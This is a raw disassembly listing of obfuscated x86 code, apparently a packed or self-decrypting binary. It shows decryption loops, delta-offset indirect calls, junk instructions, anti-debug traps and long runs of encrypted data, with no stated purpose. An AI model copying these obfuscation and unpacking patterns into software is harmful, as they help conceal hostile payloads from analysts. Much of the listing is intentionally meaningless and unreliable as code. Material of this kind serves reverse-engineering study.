loc_5F7E17: ; CODE XREF: sdfs____:005F7E91j sub eax, 1 movsx edi, cx dec eax dec eax dec eax movzx esi, dx sub edx, 1 jnz loc_5F7DE8 call near ptr loc_5F7E35+7 push ebp cdq mov cl, cl loc_5F7E35: ; CODE XREF: sub_5F7DCA+62p test dword ptr [ebp+esi-3Eh], 0F5600CFAh sub_5F7DCA endp ; sp-analysis failed pop ecx call near ptr loc_5F7E48+5 dec byte ptr [ebx] mov [ebp+40h], gs loc_5F7E48: ; CODE XREF: sdfs____:005F7E3Ep shr dword ptr [ebx+60A2567Bh], 1 mov dh, 2Ch popa pop edi movzx ebx, dx add edi, 729Ah pusha sub bx, 99F4h mov esi, 10573E15h popa xor ecx, ecx call near ptr loc_5F7E7A+1 push ds out dx, eax xor al, 0C7h mov ebx, 669E139Bh inc ecx leave scasb loc_5F7E7A: ; CODE XREF: sdfs____:005F7E69p ; sdfs____:005F7E99j mov byte ptr [ecx+5E2DDDEEh], 45h pop esi loc_5F7E82: ; CODE XREF: sdfs____:005F7EF3j mov edx, [edi+ecx] jbe loc_5F7EB7 call near ptr loc_5F7E9F+2 nop ja short loc_5F7E17 int 3 ; Trap to Debugger mov edi, 0CFD53D44h jno short near ptr loc_5F7E7A+3 push edx jge short loc_5F7F1A inc ecx loc_5F7E9F: ; CODE XREF: sdfs____:005F7E8Bp xchg ebx, [ecx-17h] adc [eax], al ; --------------------------------------------------------------------------- dd 288B0000h, 9BA5EB14h, 896C4C55h, 0BBD94FCBh db 65h, 0C2h, 5Bh ; --------------------------------------------------------------------------- loc_5F7EB7: ; CODE XREF: sdfs____:005F7E85j xor edx, 6B640C31h or al, 0D4h add edx, 624DD5F9h sub al, 49h sub edx, 72E1CD49h clc mov [edi+ecx], edx adc bh, 46h sub ax, 59A3h loc_5F7EDB: ; CODE XREF: sdfs____:005F7F49j sub ecx, 7D3AF680h mov si, 21ACh add ecx, 7D3AF67Ch ; CODE XREF: sdfs____:005F7F08j mov al, 0A7h loc_5F7EED: ; CODE XREF: sdfs____:005F7F36j cmp ecx, 0FFFF8E20h jnz loc_5F7E82 pusha mov si, 5BCh mov esi, ecx popa xor byte ptr [ebp-60h], 89h or [ecx+14h], ch js short near ptr loc_5F7EE5+1 cmpsb lea ecx, [ebx+63h] int 3 ; Trap to Debugger loc_5F7F0F: ; CODE XREF: sdfs____:005F7F6Bj aaa xchg ch, [esi] mov eax, ds:25908635h fst dword ptr [ebx] dec eax loc_5F7F1A: ; CODE XREF: sdfs____:005F7E9Cj and eax, 0EC990530h outs dx, dword ptr cs:[esi] adc eax, 81023F25h and eax, 98078630h or eax, 3022AB81h mov [ebp-6F79CFA2h], esp jecxz short loc_5F7EED fild qword ptr [esi-34h] aaa enter 0FFFFBA4Ch, 9Fh dec esp call far ptr 0B85Dh:0D6A204A4h cmpsb jnp short loc_5F7EDB stc cwde stosd and bh, [ebp-234505FDh] sub dword ptr [edi-0Bh], 0A08E76BBh imul esp, [eax+6E7E22CDh], 86302516h dec ecx repne jb short loc_5F7F97 aam 0AEh jz short loc_5F7F0F inc esi scasb xor [edi], cl add gs:[esi+ebx*8], esi outsd nop or eax, 0BD22A181h add edi, edi mov edx, 0F5ED81DCh mov ebx, 3035B07Eh xchg al, [esp+ecx*8+25428638h] xchg eax, esi mov [ebx+ebp+6C908630h], esp loc_5F7F97: ; CODE XREF: sdfs____:005F7F66j cmp ecx, [edi+47h] mov al, ds:0DADB79C0h ; --------------------------------------------------------------------------- db 0D9h dd 3025128Bh, 7D7F940Bh, 359D836Fh, 0CF254286h, 7798AC65h dd 0BD2260C7h, 0C067450Bh, 15379C81h, 0FF0E94B6h, 0A0758247h dd 14690889h, 8DA6DC78h, 37CC634Bh, 35A12E86h, 0D9259086h dd 30254813h, 83EC9905h, 0A4F305E9h, 22B9h, 0AF8D8D00h dd 6A07F042h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E9B7C351h, 0Ch, 0E12F17C4h, 0C5DC3476h dd 0E8DC6972h, 320D8D89h, 0BA6607E9h, 85C73F83h, 7E922E5h dd 6B18h, 0D5DB8166h, 65E4BE59h, 85C704B0h, 7E922B1h, 0 ; --------------------------------------------------------------------------- adc di, 4450h push dword ptr [ebp+7E92C6Dh] cmc mov ebx, [ebp+7E902B1h] call dword ptr [ebp+7E92285h] mov bh, 79h push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5F80E7 ; --------------------------------------------------------------------------- dw 3A40h dd 623127FCh, 0F84A6A43h, 64B4F56Ch, 62942FA4h, 1E1ED908h dd 0BF434D75h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h dd 7E56FFA6h, 0ACA2F840h, 46B76AEEh, 7BB25E8Ch, 0CE7D447Fh dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h, 40A6C600h dd 248E0B90h, 4D25C7CEh, 216EA3F3h, 2179184Ch, 65310065h dd 12047710h, 54D8E7F7h, 22D73B32h, 0A3E56BD2h ; --------------------------------------------------------------------------- cmp [edx-3Ch], ah loc_5F80E7: ; CODE XREF: sdfs____:005F806Cj call sub_5F8100 and eax, 76FDE95h stc xlat inc eax wait cmpsb inc ebx push cs ficom word ptr [edx+77B88C68h] sbb al, 0E4h ; =============== S U B R O U T I N E ======================================= sub_5F8100 proc near ; CODE XREF: sdfs____:loc_5F80E7p mov esi, [ebp+7E90CDDh] pop ebx call sub_5F811D test al, 0D1h retn sub_5F8100 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 50h dd 9BB0D6Ch, 5F5FD72Eh, 0C27EC857h db 0B5h ; =============== S U B R O U T I N E ======================================= sub_5F811D proc near ; CODE XREF: sub_5F8100+7p mov [ebp+7E92505h], ecx pop edx add ebx, 61EAh mov [ebp+7E91341h], esi mov edi, 6033B6B2h xor edi, 6033AEFAh mov si, di loc_5F813E: ; CODE XREF: sub_5F811D+91j mov ecx, [ebx] add [ebp+7E90CE5h], ebx sub ecx, 5F35AF85h jmp loc_5F8165 ; --------------------------------------------------------------------------- db 71h, 72h, 7Dh dd 5C69F25Ch, 8B80163Eh, 0E47FDBEFh, 2FD0B3B3h db 0 ; --------------------------------------------------------------------------- loc_5F8165: ; CODE XREF: sub_5F811D+2Fj add ecx, 331B963Eh jz loc_5F8177 mov [ebp+7E90C69h], ebx loc_5F8177: ; CODE XREF: sub_5F811D+4Ej xor ecx, 1D662E1Dh mov edx, 5849C6C2h mov [ebx], ecx mov si, 2DCEh sub ebx, 0AAB5C4Dh sub edx, [ebp+7E91B81h] add ebx, 0AAB5C49h push ecx ja loc_5F81A7 jp $+6 loc_5F81A7: ; CODE XREF: sub_5F811D+7Ej pop esi sub edi, 1 jnz loc_5F813E mov edx, [ebp+7E92FD9h] jmp loc_5F81CE ; --------------------------------------------------------------------------- db 0E8h dd offset dword_49005C+19BF4h dd 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5F81CE: ; CODE XREF: sub_5F811D+9Dj jmp loc_5F8B07 ; --------------------------------------------------------------------------- db 53h dd 9B35B8B8h, 0CC680577h, 73DD502Ah, 0A00CA123h, 0D646EF8Dh dd 0A8CC6151h, 0FA7AAB05h, 4636D97Bh, 8DEF0DAFh, 6E237FE0h dd 286C812Eh, 9FF6D4E6h, 305CC544h, 0CF66103Ah, 7C0E9994h dd 0B5A8E605h, 6C8E5637h, 89097812h, 8B2873A8h, 732DD119h dd 73A87E3Eh, 103A9628h, 0E242D066h, 57574AE4h, 402873A8h dd 286B7F1h, 267C1073h, 314BEECAh, 6E8B22BCh, 68D67F9Ah dd 0B64470B8h, 0BE5C78C4h, 0C15460BCh, 366F6BBBh, 0CF244AB1h dd 35CB37B9h, 0A148ECE9h, 0E5700A51h, 92E39C36h, 0F486AAC9h dd 2C049A28h, 4DEF19C0h, 1A3D9933h, 28008262h, 70A41CA5h dd 4DC28C1Ah, 0E0000000h, 9D5A74Ah, 0AAFAA84Dh, 38CED428h dd 40E917E4h, 6A0B7184h, 30DBE7D9h, 2E0784h, 4AA30000h dd 9809D5A7h, 305CC53Dh, 40D77F09h, 12DEE438h, 1EB74FEEh dd 27BC8D67h, 0E1DB30D3h, 531153Ch, 0FA1FBB77h, 1B5AF382h dd 0E4000000h, 9D5A74Ah, 5CC51698h, 40E9E330h, 710B7184h dd 0DA99CDE4h, 46B227E0h, 0DC78CF7Bh, 0E1E34339h, 41A9D365h dd 841681ACh, 0B5C4020Dh, 0B2921037h, 0FC8EF006h, 0C9B8BE50h dd 2873C4C9h, 7BCB594Bh, 903C8169h, 6D20FC7Eh, 0CEC355C2h dd 2FCCB2C7h, 0CD89554Fh, 0C4F04C28h, 0EEFB4B31h, 0D64DC1h dd 4BB512B1h, 0A9AF50A2h, 255CF600h, 208A9C65h, 993DF5AFh dd 0CC680577h, 158C502Ah, 208A9BA5h, 30871E88h, 9F1D7453h dd 0F6A83D47h, 8CF03828h, 6B153BEDh, 0A6B378CAh, 90328331h dd 4CE0A04Ah, 632A982Eh, 60E56A03h, 4447FEAAh, 535DDEECh dd 93B930D4h, 4Bh, 0DD5A4B13h, 0A2A1B3F4h, 2E27054h, 4FCDC480h dd 0A6B321E3h, 9788331h, 305CC589h, 78AB198Bh, 0C4F3B3EEh dd 42D5305Ch, 0B4D8EA3Ah, 0AA402EEh, 70CCAE42h, 4A048672h dd 0E3A3DEA4h, 2D305CC4h, 7773E177h, 5151DBh, 78F10000h dd 0C4F3B3EEh, 0AAE7305Ch, 305CC4EAh, 8E14782Ah, 0F56A8FA2h dd 89097847h, 71305CC5h, 0C53C41D5h, 0D340520Ah, 0BE74BC52h dd 0CA78BA28h, 5AB5ED78h, 8F80280h, 5BF31999h, 1BA9FB30h dd 1D55FBDFh, 23A17DFFh, 0DC78DF8Dh, 0E6FC403Ah, 4A37930Ah dd 970ED6A0h, 305942C5h, 25EF8EA2h, 6CC86517h, 5553B3C9h dd 0EF276389h, 0A713DF6Dh, 411AEA92h, 5779945h, 234FAB39h dd 0D1AB4E7Ah, 0B4F4AD47h, 5C305843h, 87E7EA46h, 1C7F07EEh dd 7A135603h, 0EA82189Dh, 8300E8B1h, 84352941h, 0B0C96EF6h dd 0FDF18C1Ch, 8541D7F9h, 0F02D0577h, 30h, 68ED78D2h, 0A4FA2D9Ch dd 36C4F038h, 0A25F844h, 3F720B9Dh, 1EE51C4Eh, 0B6EBFD35h dd 37B4E963h, 0C08D5153h, 0ED698D2Ch, 0D3C73349h, 0CB63F39h dd 453BDC78h, 5CC54C4Ch, 48DEC430h, 0C58AE9F4h, 7897969Fh dd 80AA0EEAh, 2CA64F6h, 374D9113h, 5C5A4242h, 18D0D230h dd 75E671C4h, 5C5A7C3Ch, 970A9430h, 305C5A17h, 8015ABF9h dd 0A41BA912h, 56E076D1h, 0B597745Bh, 2136A237h, 8824C95Fh dd 0EF861062h, 61BC2EE9h, 0E539F191h, 0E210DB3Ch, 33DA7EACh dd 0D8332AC3h, 8363E131h, 2FEB7401h, 0B15B7FBBh, 68822EC7h dd 43E17C0Eh, 0AAD267FBh, 0ACBD485Ah, 2E42AE80h, 58223490h dd 0C152DD90h, 16BD0D0h, 176588A4h, 0CBD9B5CFh, 93EEA335h dd 23AB5A63h, 0B356EC81h, 328331A6h, 0D6A04A90h, 5D276360h dd 0B930D453h, 5493h, 0A14B1300h, 0D1750FD7h, 0D3F1393Bh dd 8331A6B3h, 0C5890978h, 2F8B305Ch, 1BA975F7h, 0C4901081h dd 2280305Ch, 0CA78DE8Ch, 13DDA44Ah, 0D0840649h, 78520096h dd 0FF47C5DCh, 19EB14E2h, 0C3519EC3h, 0E642512Ah, 0E1493B59h dd 43D67E08h, 51D3F139h, 3Ah, 38DC78F1h, 3E3BF642h, 9783BA9h dd 305CC589h, 78B92FBDh, 931986EDh, 0DA7F8ACFh, 0B24042A2h dd 78F26046h, 0C4F3B3EEh, 1E4305Ch, 5D13164Ah, 0FD356F27h dd 974537D9h, 0DC78DB77h, 0CCE8403Ah, 0F6F04C2Eh, 79B1CB6Eh dd 5942B688h, 0F099B330h, 0D9542634h, 0CD1AB34Dh, 0E4852C1h dd 0E157574Ah, 0EBB93057h, 0F686AB0Fh, 0ED8FA22Eh, 0E86CA511h dd 0EA68B814h, 0F495BF1Ah, 0B657B906h, 0B9DDF72h, 0B6D55243h dd 0BA8DC305h, 0AC31F98Fh, 352FAD17h, 48C984h, 4A990000h dd 0AA44D6A0h, 5CC4B7F7h, 0FD7F9130h, 87F3A321h, 0D1750B75h dd 0DDE73F3Dh, 0E904D915h, 3AB5EC7Eh, 8237B594h, 0ED4537DAh dd 4D09A301h, 7371CDAFh, 0CA6E6B87h, 1B0BD323h, 0F33F4599h dd 0B14B35C7h, 0B078FC15h, 0EE78952Dh, 5CC4F3B3h, 0C7871D30h dd 0ECF64ECEh, 0F87A9004h, 5109D76Eh, 0C782B70Ch, 0F762376Bh dd 10DBD660h, 8637B550h, 0B331911Ch, 89F307A6h, 88AF2FB5h dd 0CC862F0h, 65A793E9h, 0A04A9032h, 779844D6h, 0A3B4AE02h dd 0B341BFF7h, 2B995153h, 535D2763h, 93B930D4h, 4Ah, 0C4DD7913h dd 0C5515140h, 0E1C3335Ch, 0C55A5A57h, 0E8BA335Ch, 0A6B38200h dd 9788331h, 305CC589h, 0F58F198Bh, 5CC4FCBCh, 0A28E1430h dd 4ACA7860h, 7764DAA4h, 6C2C65FFh, 6C305CC5h, 5250ACCEh dd 3A886042h, 3751h, 0A6B3F100h, 410DA731h, 0DBDBCEAEh dd 35305CC4h, 7801836Fh, 5CC58909h, 0B92FBD30h, 0CE57EE78h dd 0CDCDC40Bh, 47305BF5h, 35A0C85Dh, 4A4446B2h, 304AECA4h dd 0DB772CA2h, 0ED6A04Ah, 5942C597h, 0EF8EA230h, 0C8651725h dd 50ACCE6Ch, 7305929Dh, 0EF3741EBh, 168B1DD5h, 37B13AFFh dd 0C014EAB7h, 0AB7BF928h, 758C8C19h, 0E66EF88Eh, 0FCC12953h dd 31A6B346h, 4A903283h, 7860D6A0h, 0C4F3B3EEh, 40D5305Ch dd 0BADAE834h, 5BD00E8h, 30D4535Dh, 5093B9h, 0B3370000h dd 788331A6h, 5CC58909h, 7FE77130h, 0B3F3A626h, 5D305CC4h dd 9A07EB47h, 9ECCA3Fh, 0A3D70ECEh, 89C752EBh, 788F3DD3h dd 0DAA44ACAh, 3ADC7864h, 0F8D8440h, 6C45AD37h, 515140DAh dd 0C3305CC5h, 51BB09E1h, 4Eh, 91E309D5h, 0A6B36B59h, 183FA731h dd 2A069C60h, 89097898h, 71305CC5h, 0C4EAAAE7h, 782A305Ch dd 0F74339DCh, 0B11DAF3Dh, 7C06DE9Eh, 0EE7816B4h, 45755057h dd 0C22E773Ch, 0DAA44AC0h, 38DC7864h, 4B9BE174h, 495BAB39h dd 26126A8Dh, 0A04A63CFh, 0C5970ED6h, 0A2305942h, 0B1C468F4h dd 92A734B2h, 220E9C6Dh, 47D51FBEh, 0FE1CB835h, 42EDA07Ch dd 1FA943D5h, 0F8C0C85h, 1E843058h, 580F2B6Bh, 6C082D30h dd 24821290h, 580F2D6Dh, 2FBDE730h, 0E0CF02C3h, 0BDE737B0h dd 0A6B39230h, 90328331h, 413BDC78h, 0AF0BE7FDh, 637DF38Dh dd 0D4535D27h, 6093B930h, 37000000h, 7C35A6B3h, 305CC53Ch dd 5DAC9D4h, 6FC5A56Fh, 78954BD9h, 5CC58909h, 0BCD57130h dd 12DEE438h, 8394306Eh, 0EA9F25F9h, 305CC4AAh, 76D2A793h dd 0A8AF6B8h, 601A3C98h, 0C270069Ch, 0A44ACA78h, 0DC7864DAh dd 0E1E34339h, 4E169009h, 7072D2ACh, 0C0A6D5E5h, 2EE3664h dd 1B5180h, 0B3F10000h, 788331A6h, 5CC58909h, 0B92FBD30h dd 4339DC78h, 4A43F1F7h, 7764DAA4h, 0D6A04ADBh, 2FB8BB0Eh dd 63E1319Dh, 19601197h, 337B5C3h, 0CB34FB6Ah, 731ED6D6h dd 0D1643E28h, 1E93A8FDh, 2873539Eh, 529E2C76h, 522CC2AEh dd 0D362F0F2h, 700A9D98h, 63108201h, 10249030h, 7A089A6Ah dd 720C2EAAh, 0BDBB51C3h, 4F12C620h, 148508FBh, 2082E294h dd 4C90267Ch, 56C617D5h, 11B85C6Dh, 0FEFD48E5h, 97F18382h dd 0A3DD7F5Bh, 0EA94A612h dd 1E9CF450h, 75009ED2h, 310C9339h, 98E077AAh, 40A83E44h dd 66BE3C54h, 63D87531h, 0BB4A3454h, 49F01CD4h, 5F077D9Fh dd 677DC1BBh, 16A27232h, 7200A2D3h, 51FB63C3h, 0A3F3DF27h dd 31C7DD21h, 3A3FDDF9h, 794B76C6h, 0A9750B8Eh, 1A36h dd 4EE06C00h, 3BD2D02Ch, 0EC22223Bh, 0F8CA2639h, 583BD254h dd 3C44CDA5h, 4AA81AD6h, 430FD7A1h, 5B77CFA9h, 5C78C4B4h dd 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h, 6753B3CDh dd 5E55A9D3h, 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch dd 89575C24h, 4C781E7h, 83000000h, 3C8704EFh, 2C895C24h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BD240C89h dd 2E631AECh, 4172F581h, 0E5C15788h, 6E5C102h, 0BA52DDF7h dd 13542619h, 815AD531h, 4ECh, 24248900h, 4240483h, 244D6859h dd 2C890000h, 8418F24h, 53240C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 2C8B5C24h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 2E78E95Ch ; --------------------------------------------------------------------------- stc call fword ptr [ebx] loc_5F8B07: ; CODE XREF: sub_5F811D:loc_5F81CEj mov eax, 7F04CAAh add eax, ebp jmp eax sub_5F811D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 59FADA52h, 67F39976h, 133A7CA7h, 11C34688h, 7331E637h dd 45FAF987h, 4D7FD1BFh, 23107F69h, 4A6973A7h, 422ECB05h dd 24D23911h, 3ED56FA3h, 0FA00644h, 696354D1h, 2FE7ABA7h dd 470E73BDh, 630888D8h, 150EEB2Ah, 3CE7ED9Ah, 1731FE39h dd 4CE0DE9Ah, 3E531F6h, 711F762Dh, 28FA9939h, 4E6B8D8Dh dd 6A07F0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 57AB6DC3h, 0F4927204h, 0ED958B82h, 8907E914h dd 0E9320D8Dh, 0C7D38B07h, 0E922E585h, 64CC07h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0DD8CDB4Eh, 0A62A4CEBh, 85C708BCh, 7E922B1h, 0 ; --------------------------------------------------------------------------- mov dx, 9B8Dh push dword ptr [ebp+7E91E05h] mov al, bl pusha jmp loc_5F8BFC ; --------------------------------------------------------------------------- dw 6E66h dd 0BA19A9CEh, 72CA8E59h ; --------------------------------------------------------------------------- loc_5F8BFC: ; CODE XREF: sdfs____:005F8BEDj js loc_5F8C15 jmp loc_5F8C15 ; --------------------------------------------------------------------------- sub ebx, ds:71567876h dec ebx xchg ah, bh mov eax, ds:681C5BD5h loc_5F8C15: ; CODE XREF: sdfs____:loc_5F8BFCj ; sdfs____:005F8C02j popa call dword ptr [ebp+7E92285h] mov ebx, esi push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5F8C47 ; --------------------------------------------------------------------------- dw 0BFD8h dd 6F906470h, 667B1BD9h, 0B74EA44h, 0EC2F2C52h, 2D9410ACh dd 0D93F155Fh ; --------------------------------------------------------------------------- or eax, ecx inc ebp loc_5F8C47: ; CODE XREF: sdfs____:005F8C28j call near ptr loc_5F8C4F+5 or [esi], eax push edi loc_5F8C4F: ; CODE XREF: sdfs____:loc_5F8C47p cmp [ebp-765AE6F6h], edi mov ebp, 7E90FB1h pop edx sbb ah, 0BDh add edx, 71A5h sub ecx, 66479848h sub esi, esi jmp loc_5F8C7C ; --------------------------------------------------------------------------- db 1Eh, 6Dh, 6Ah ; --------------------------------------------------------------------------- mov ah, 23h retf ; --------------------------------------------------------------------------- db 69h dd 3714A43Bh ; --------------------------------------------------------------------------- loc_5F8C7C: ; CODE XREF: sdfs____:005F8C6Cj ; sdfs____:005F8CD7j mov edi, [edx+esi] mov ebx, [ebp+7E9255Dh] sub edi, 400868C7h mov ebx, [ebp+7E92439h] add edi, 64175779h push edi pusha add esi, [ebp+7E92145h] jnb $+6 popa pop eax add edi, 3243E2E6h mov eax, 49785065h push edi jp loc_5F8CBB mov bl, 0B1h loc_5F8CBB: ; CODE XREF: sdfs____:005F8CB3j pop dword ptr [edx+esi] push edx mov ecx, 5F863D72h pop eax mov cx, 0F40h sub esi, 4 adc bx, 0F896h cmp esi, 0FFFF8F00h jnz loc_5F8C7C jmp loc_5F8CF5 ; --------------------------------------------------------------------------- sub byte ptr [esi+5CB4ADC9h], 9Bh retn 8170h ; --------------------------------------------------------------------------- dd 72AD47D4h, 12264681h db 0D1h ; --------------------------------------------------------------------------- loc_5F8CF5: ; CODE XREF: sdfs____:005F8CDDj lea ecx, [ebp+7F04FF2h] mov [ebp+7E9320Dh], ecx pusha sub ebx, 5D0E1C4Dh and ecx, 3995633Fh popa mov dword ptr [ebp+7E922E5h], 641Ch push 0 push ebp call sub_5F8D24 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8D24 proc near ; CODE XREF: sdfs____:005F8D1Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5F8D24 endp ; --------------------------------------------------------------------------- xor al, 0C2h retn ; --------------------------------------------------------------------------- mov [ebp+7E91391h], edx mov edi, 76DB5F71h mov dword ptr [ebp+7E922B1h], 0 jmp loc_5F8D5D ; --------------------------------------------------------------------------- cmpsd mov bl, 24h pop ebp and dl, al test [edi+1Dh], al cmp dh, [edi] leave loc_5F8D5D: ; CODE XREF: sdfs____:005F8D4Cj push dword ptr [ebp+7E9245Dh] push 0 push edi call sub_5F8D6E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8D6E proc near ; CODE XREF: sdfs____:005F8D66p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5F8D6E endp ; --------------------------------------------------------------------------- test eax, 34CAE0D2h xor [ecx], ch xchg eax, ebp xchg eax, ebp psubsw mm0, qword ptr [edi] mov [ebp+7E91E15h], edx call dword ptr [ebp+7E92285h] jmp loc_5F8DA2 ; --------------------------------------------------------------------------- db 0EDh dd 0A2A05237h db 0C4h, 0A0h ; --------------------------------------------------------------------------- loc_5F8DA2: ; CODE XREF: sdfs____:005F8D96j mov bx, si push 0 call dword ptr [ebp+7E90C31h] mov eax, eax jmp short loc_5F8E0C ; --------------------------------------------------------------------------- db 16h, 7Dh, 98h dd 0C5BB79D2h, 0B46C8967h, 45D1725Dh, 0A2AAC363h, 551A7776h dd 93FD6935h, 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 8E1FE852h dd 0B6B44FF0h, 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h dd 0B4D94EDFh, 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h dd 281B98DCh, 0C641AD04h ; --------------------------------------------------------------------------- loc_5F8E0C: ; CODE XREF: sdfs____:005F8DAFj lea ecx, [ebp+7F050C1h] mov [ebp+7E90755h], edi mov [ebp+7E9320Dh], ecx or [ebp+7E91331h], eax mov dword ptr [ebp+7E922E5h], 6BDCh or ah, 30h mov dword ptr [ebp+7E922B1h], 0 add [ebp+7E91FFDh], eax push dword ptr [ebp+7E91A89h] push 0 push ebp call sub_5F8E52 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F8E52 proc near ; CODE XREF: sdfs____:005F8E4Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5F8E52 endp ; --------------------------------------------------------------------------- dw 373Eh dd 9C7E7AEDh, 228595FFh, 0CB8107E9h, 3BED3B55h, 95FF006Ah dd 7E90C31h, 48EBC08Bh, 18204A22h, 5DC465EDh, 7AD2AB82h dd 0ADF433CDh, 32ABA2F1h, 1753FB38h, 57CBF1F4h, 0E4830A4h dd 0F66D92D5h, 980B8ADEh, 2A442620h, 5D012DCEh, 0DFE0AD7Dh dd 0D45533BCh, 0C25428CBh, 9CDD2FA3h, 49069375h, 0F7E0D5E4h dd 5E8h, 0A70A2B00h, 5BF97DACh, 0C381D0B2h, 640Fh, 0B4DBD89h dd 6807E9h, 66000000h, 0F55FC28Bh, 893B348Bh, 0E91B5D9Dh dd 4EC68107h, 80570B1Eh, 0F68105EAh, 4ADCACCFh, 0EE951h dd 4D2B0000h, 8C478D29h, 3B71A669h, 0C1284E6Ch, 50C6815Ah dd 53671816h, 0FE9h, 75BA8D00h, 33670FC1h, 0D675F196h dd 0B40441FBh, 0B531565Ah, 7E90EF5h, 0E83B048Fh, 0Bh, 31281E1Bh dd 11A7459Dh, 66EAB36Dh, 8058D68Bh, 0EF83D9C8h, 4F4FF902h dd 4769BA66h, 9CC4FF81h, 850FFFFFh, 0Fh, 0E9C38B66h, 30h dd 0D1AEDA10h, 0FBB43E9h, 0D8Dh, 7BB96000h, 8B56FC74h dd 0E92FC995h, 59E96107h, 7AFFFFFFh, 6967E5E7h, 88AE33FFh dd 0A0E556C4h, 56E8D37Fh, 52D18D8Dh, 0E86007F0h, 0Fh, 881E7B33h dd 96673CD4h, 0AE2D7DDDh, 66FC2A62h, 5FB9FABEh, 158DBD33h dd 8B6107E9h, 0E90119BDh, 0D8D8907h, 6A07E932h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0C91DC353h, 0E80DCCB2h, 13h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah dd 30F16BEEh, 580D58BFh, 13D858Bh, 85C707E9h, 7E922E5h dd 6AB0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0EEC35141h, 0C7663CC5h, 0E922B185h, 7, 5858B00h dd 0FF07E921h, 0E9245DB5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 854E5384h dd 0F893A573h, 9676BB66h, 228595FFh, 0D68B07E9h, 95FF006Ah dd 7E90C31h, 5BEBC08Bh, 2E683A6h, 4B13F658h, 931CD428h dd 5958FB5Fh, 0E955E61Ch, 512A09EFh, 0E0BA5623h, 0A4109C62h dd 0D28DA20Bh, 0ED49311Ch, 2018FD0Ch, 0B6D40AA6h, 324B2D08h dd 65116F18h, 70088330h, 44E0CCB7h, 7890773Ch, 153688A0h dd 0C546EE50h, 5151E804h, 7FFDDF8h, 9C8324C9h, 0E9B9F323h dd 2Bh, 18F9CE28h, 9 dup(0) dd 0E9000000h, 4F3h, 0C06D0F2Ch, 3BBAC054h, 68057799h dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh, 85AA06AFh dd 3CDE7AFBh, 0D0CAB342h, 6C71E1A1h, 0AB193328h, 0ED6A04Ah dd 20CDAF42h, 85071EC6h, 91E309ADh, 86AB334Dh, 7C9E3AF6h dd 82962202h, 82A824F8h, 1F922CF0h, 305CC49Fh, 7BAB3371h dd 2E5625F9h, 46EA738Fh, 0ADCF6DA7h, 0F9839400h, 4537D874h dd 0D11AB3h, 0EDCD7D46h, 6EB6C669h, 74409C54h, 0A6E69B1Dh dd 6E305C25h, 725EA634h, 7743A3DDh, 44419D1Fh, 0F12C603Bh dd 708441A1h, 87F91FC9h, 6F0E0EF1h, 4BEA92A5h, 0ED3143E9h dd 5C4B9934h, 0FD9C7030h, 3159E4DCh, 490284h, 4AA00000h dd 970ED6A0h, 305CC515h, 825FFE12h, 8430E042h, 1BCh, 0A64A0600h dd 0A84C08D4h, 4E4672D2h, 83923ACCh, 4BA73D01h, 0F796BA17h dd 2FF760Fh, 9E088CD4h, 0A8D26652h, 1D0C9905h, 38B31A9Bh dd 0D2F8B67h, 4A40C273h, 0E775D1A7h, 0C4A4E495h, 366C305Ch dd 27FF8196h, 9B370F9Dh, 0EB730577h, 0D5EF3741h, 0A0AC11Dh dd 0B6FA9363h, 85BF9B8Ch, 30C6465Fh, 7539DCF8h, 3D479F1Dh dd 9FB11DAFh, 0B78301DDh, 0C421BC2Ah, 5E1A4913h, 46D4C028h dd 4AECE834h, 0AD3D7D34h, 0CDD7305Ch, 4BF7E73Fh, 0F27F71A2h dd 57FF8430h, 0CB000000h, 4CE3A74Ah, 0A469E2Ch, 0F4A9AE4h dd 6D8044E5h, 27CA660Fh, 0D5CD8955h, 33DF8F57h, 0DA67498Ah dd 6A878430h, 23000000h, 0CFD2A74Ah, 7EA1CCA1h, 0F9BCFCB5h dd 4E54305Bh, 86041CB8h, 8FA02CF0h, 90A511EDh, 9EBC18E4h dd 736500DCh, 5B7D28CAh, 99E376B2h, 0A64AAE14h, 8B9A42D4h dd 75993509h, 17A53F07h, 9FD98A86h, 0E04863C6h, 4BFAD54Ch dd 0A1F0305Ch, 65F7C323h, 1C40CB1Bh, 0D7A14B7Dh, 46E7750Fh dd 0F6CE0BB2h, 70843158h, 1, 0DAA44A52h, 0D2AC4E0Ah, 52FB1D72h dd 651738A4h, 7507298Dh, 1D8AA5F8h, 0AD1B168Bh, 8D1B37B5h dd 0F353D1C1h, 0AE0080F1h, 92102873h, 3EA620FCh, 69C601Ah dd 126C8E2Ah, 0F3B3EE78h, 